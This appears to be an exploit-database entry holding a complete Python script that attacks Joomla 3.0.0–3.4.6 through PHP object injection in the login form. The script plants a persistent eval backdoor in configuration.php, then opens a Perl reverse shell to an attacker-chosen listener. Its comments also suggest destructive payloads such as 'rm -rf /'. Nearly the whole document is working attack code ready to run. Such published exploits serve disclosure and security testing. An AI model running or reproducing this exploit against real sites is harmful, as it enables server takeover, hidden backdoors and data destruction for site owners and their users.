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Joomla! 3.4.6 - 'configuration.php' Remote Code Execution

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# Exploit Title: Joomla 3.4.6 - 'configuration.php' Remote Code Execution
# Google Dork: N/A
# Date: 2019-10-02
# Exploit Author: Alessandro Groppo @Hacktive Security
# Vendor Homepage: https//www.joomla.it/
# Software Link: https://downloads.joomla.org/it/cms/joomla3/3-4-6
# Version: 3.0.0 --> 3.4.6
# Tested on: Linux
# CVE : N/A
#
# Technical details: https://blog.hacktivesecurity.com/index.php?controller=post&action=view&id_post=41
# Github: https://github.com/kiks7/rusty_joomla_rce
#
# The exploitation is implanting a backdoor in /configuration.php file in the root directory 
# with an eval in order to be more suitable for all environments, but it is also more intrusive.
# If you don't like this way, you can replace the get_backdoor_pay() 
# with get_pay('php_function', 'parameter') like get_pay('system','rm -rf /')

#!/usr/bin/env python3

import requests
from bs4 import BeautifulSoup
import sys
import string
import random
import argparse
from termcolor import colored

PROXS = {'http':'127.0.0.1:8080'}
PROXS = {}

def random_string(stringLength):
	letters = string.ascii_lowercase
	return ''.join(random.choice(letters) for i in range(stringLength))


backdoor_param = random_string(50)

def print_info(str):
	print(colored("[*] " + str,"cyan"))

def print_ok(str):
	print(colored("[+] "+ str,"green"))

def print_error(str):
	print(colored("[-] "+ str,"red"))

def print_warning(str):
	print(colored("[!!] " + str,"yellow"))

def get_token(url, cook):
	token = ''
	resp = requests.get(url, cookies=cook, proxies = PROXS)
	html = BeautifulSoup(resp.text,'html.parser')
	# csrf token is the last input
	for v in html.find_all('input'):
		csrf = v
	csrf = csrf.get('name')
	return csrf


def get_error(url, cook):
	resp = requests.get(url, cookies = cook, proxies = PROXS)
	if 'Failed to decode session object' in resp.text:
		#print(resp.text)
		return False
	#print(resp.text)
	return True


def get_cook(url):
	resp = requests.get(url, proxies=PROXS)
	#print(resp.cookies)
	return resp.cookies


def gen_pay(function, command):
	# Generate the payload for call_user_func('FUNCTION','COMMAND')
	template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
	#payload =  command + ' || $a=\'http://wtf\';'
	payload =  'http://l4m3rz.l337/;' + command
	# Following payload will append an eval() at the enabled of the configuration file
	#payload =  'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
	function_len = len(function)
	final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
	return final

def make_req(url , object_payload):
	# just make a req with object
	print_info('Getting Session Cookie ..')
	cook = get_cook(url)
	print_info('Getting CSRF Token ..')
	csrf = get_token( url, cook)

	user_payload = '\\0\\0\\0' * 9
	padding = 'AAA' # It will land at this padding
	working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}'
	clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects

	inj_object = '";'
	inj_object += object_payload
	inj_object += 's:6:"return";s:102:' # end the object with the 'return' part
	password_payload = padding + inj_object
	params = {
            'username': user_payload,
            'password': password_payload,
            'option':'com_users',
            'task':'user.login',
            csrf :'1'
            }

	print_info('Sending request ..')
	resp  = requests.post(url, proxies = PROXS, cookies = cook,data=params)
	return resp.text

def get_backdoor_pay():
	# This payload will backdoor the the configuration .PHP with an eval on POST request

	function = 'assert'
	template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
	# payload =  command + ' || $a=\'http://wtf\';'
	# Following payload will append an eval() at the enabled of the configuration file
	payload =  'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'' + backdoor_param +'\\\'])) eval($_POST[\\\''+backdoor_param+'\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
	function_len = len(function)
	final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
	return final

def check(url):
	check_string = random_string(20)
	target_url = url + 'index.php/component/users'
	html = make_req(url, gen_pay('print_r',check_string))
	if check_string in html:
		return True
	else:
		return False

def ping_backdoor(url,param_name):
	res = requests.post(url + '/configuration.php', data={param_name:'echo \'PWNED\';'}, proxies = PROXS)
	if 'PWNED' in res.text:
		return True
	return False

def execute_backdoor(url, payload_code):
	# Execute PHP code from the backdoor
	res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)
	print(res.text)

def exploit(url, lhost, lport):
	# Exploit the target
	# Default exploitation will append en eval function at the end of the configuration.pphp
	# as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')
	# e.g. get_payload('system','rm -rf /')

	# First check that the backdoor has not been already implanted
	target_url = url + 'index.php/component/users'

	make_req(target_url, get_backdoor_pay())
	if ping_backdoor(url, backdoor_param):
		print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)
		print_info('Now it\'s time to reverse, trying with a system + perl')
		execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');')


if __name__ == '__main__':
	parser = argparse.ArgumentParser()
	parser.add_argument('-t','--target',required=True,help='Joomla Target')
	parser.add_argument('-c','--check', default=False, action='store_true', required=False,help='Check only')
	parser.add_argument('-e','--exploit',default=False,action='store_true',help='Check and exploit')
	parser.add_argument('-l','--lhost', required='--exploit' in sys.argv, help='Listener IP')
	parser.add_argument('-p','--lport', required='--exploit' in sys.argv, help='Listener port')
	args = vars(parser.parse_args())

	url = args['target']
	if(check(url)):
		print_ok('Vulnerable')
		if args['exploit']:
			exploit(url, args['lhost'], args['lport'])
		else:
			print_info('Use --exploit to exploit it')

	else:
		print_error('Seems NOT Vulnerable ;/')
            
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